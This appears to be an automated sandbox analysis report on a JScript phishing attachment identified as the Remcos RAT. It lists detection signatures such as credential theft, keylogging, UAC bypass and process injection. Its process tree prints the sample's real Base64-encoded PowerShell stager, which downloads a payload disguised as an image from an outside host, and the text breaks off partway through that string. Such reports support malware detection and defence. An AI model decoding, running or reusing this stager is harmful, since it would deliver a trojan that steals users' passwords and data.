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Windows
Analysis Report
PO_0099822111ORDER.js
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Paste sharing url in reverse order
Sigma detected: Powershell download and load assembly
Sigma detected: Remcos
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Maps a DLL or memory area into another process
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Silenttrinity Stager Msbuild Activity
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 6884 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\PO_00 99822111OR DER.js" MD5: A47CBE969EA935BDD3AB568BB126BC80) - wscript.exe (PID: 7068 cmdline:
"C:\Window s\System32 \wscript.e xe" C:\Win dows\Temp\ ???2????4? ???4????5. js MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7116 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ forsakers = 'aQBmACA AKAAkAG4Ad QBsAGwAIAA tAG4AZQAgA CQAUABTAFY AZQByAHMAa QBvAG4AVAB hAGIAbABlA CAALQBhAG4 AZAAgACQAU ABTAFYAZQB yAHMAaQBvA G4AVABhAGI AbABlAC4AU ABTAFYAZQB yAHMAaQBvA G4AIAAtAG4 AZQAgACQAb gB1AGwAbAA pACAAewAgA FsAdgBvAGk AZABdACQAU ABTAFYAZQB yAHMAaQBvA G4AVABhAGI AbABlAC4AU ABTAFYAZQB yAHMAaQBvA G4AIAB9ACA AZQBsAHMAZ QAgAHsAIAB XAHIAaQB0A GUALQBPAHU AdABwAHUAd AAgACcAUAB vAHcAZQByA FMAaABlAGw AbAAgAHYAZ QByAHMAaQB vAG4AIABOA G8AdAAgAGE AdgBhAGkAb ABhAGIAbAB lACcAIAB9A DsAaQBmACA AKAAkAG4Ad QBsAGwAIAA tAG4AZQAgA CQAUABTAFY AZQByAHMAa QBvAG4AVAB hAGIAbABlA CAALQBhAG4 AZAAgACQAU ABTAFYAZQB yAHMAaQBvA G4AVABhAGI AbABlAC4AU ABTAFYAZQB yAHMAaQBvA G4AIAAtAG4 AZQAgACQAb gB1AGwAbAA pACAAewAgA FsAdgBvAGk AZABdACQAU ABTAFYAZQB yAHMAaQBvA G4AVABhAGI AbABlAC4AU ABTAFYAZQB yAHMAaQBvA G4AIAB9ACA AZQBsAHMAZ QAgAHsAIAB XAHIAaQB0A GUALQBPAHU AdABwAHUAd AAgACcAUAB vAHcAZQByA FMAaABlAGw AbAAgAHYAZ QByAHMAaQB vAG4AIABOA G8AdAAgAGE AdgBhAGkAb ABhAGIAbAB lACcAIAB9A DsAJABtAGU AbQBvAHIAY QBuAGQAdQB tAHMAIAA9A CAAJwBoAHQ AdABwAHMAO gAvAC8AcgB lAHMALgBjA GwAbwB1AGQ AaQBuAGEAc gB5AC4AYwB vAG0ALwBkA HkAdABmAGw AdAA2ADEAb gAvAGkAbQB hAGcAZQAvA HUAcABsAG8 AYQBkAC8Ad gAxADcAMwA zADEAMwA0A DkANAA3AC8 AYgBrAGwAc AB5AHMAZQB 5AGUAdQB0A DQAaQBtAHA AdwA1ADAAb gAxAC4AagB wAGcAIAAnA DsAJABjAG8 AbgBlAG4Ab wBzAGUAcwA gAD0AIABOA GUAdwAtAE8 AYgBqAGUAY wB0ACAAUwB 5AHMAdABlA G0ALgBOAGU AdAAuAFcAZ QBiAEMAbAB pAGUAbgB0A DsAJABpAG0 AbQBlAG0Ab wByAGkAYQB sAGwAeQAgA D0AIAAkAGM AbwBuAGUAb gBvAHMAZQB zAC4ARABvA HcAbgBsAG8 AYQBkAEQAY QB0AGEAKAA kAG0AZQBtA G8AcgBhAG4 AZAB1AG0Ac wApADsAJAB lAGQAIAA9A CAAWwBTAHk AcwB0AGUAb QAuAFQAZQB 4AHQALgBFA G4AYwBvAGQ AaQBuAGcAX QA6ADoAVQB UAEYAOAAuA EcAZQB0AFM AdAByAGkAb gBnACgAJAB pAG0AbQBlA G0AbwByAGk AYQBsAGwAe QApADsAJAB yAGUAcwBlA G4AdABpAHY AZQAgAD0AI AAnADwAPAB CAEEAUwBFA DYANABfAFM AVABBAFIAV AA+AD4AJwA 7ACQAbwB2A GUAcgBwAGE AYwBrACAAP QAgACcAPAA 8AEIAQQBTA EUANgA0AF8 ARQBOAEQAP gA+ACcAOwA kAHcAYQBsA GwAZQBkACA APQAgACQAZ QBkAC4ASQB uAGQAZQB4A E8AZgAoACQ AcgBlAHMAZ QBuAHQAaQB 2AGUAKQA7A CQAaABpAGc AaABsAGkAZ wBoAHQAZQB kACAAPQAgA CQAZQBkAC4 ASQBuAGQAZ QB4AE8AZgA oACQAbwB2A GUAcgBwAGE AYwBrACkAO wAkAHcAYQB sAGwAZQBkA CAALQBnAGU AIAAwACAAL QBhAG4AZAA gACQAaABpA GcAaABsAGk AZwBoAHQAZ QBkACAALQB nAHQAIAAkA HcAYQBsAGw AZQBkADsAJ AB3AGEAbAB sAGUAZAAgA CsAPQAgACQ AcgBlAHMAZ QBuAHQAaQB 2AGUALgBMA GUAbgBnAHQ AaAA7ACQAb ABlAGcAYQB 0AGkAbgBlA CAAPQAgACQ AaABpAGcAa ABsAGkAZwB oAHQAZQBkA CAALQAgACQ AdwBhAGwAb ABlAGQAOwA kAG0AZQB0A GUAbwByAGk AdABpAGMAI AA9ACAAJAB lAGQALgBTA HUAYgBzAHQ AcgBpAG4AZ wAoACQAdwB hAGwAbABlA GQALAAgACQ AbABlAGcAY QB0AGkAbgB lACkAOwAkA G8AcgBjAGE AcwAgAD0AI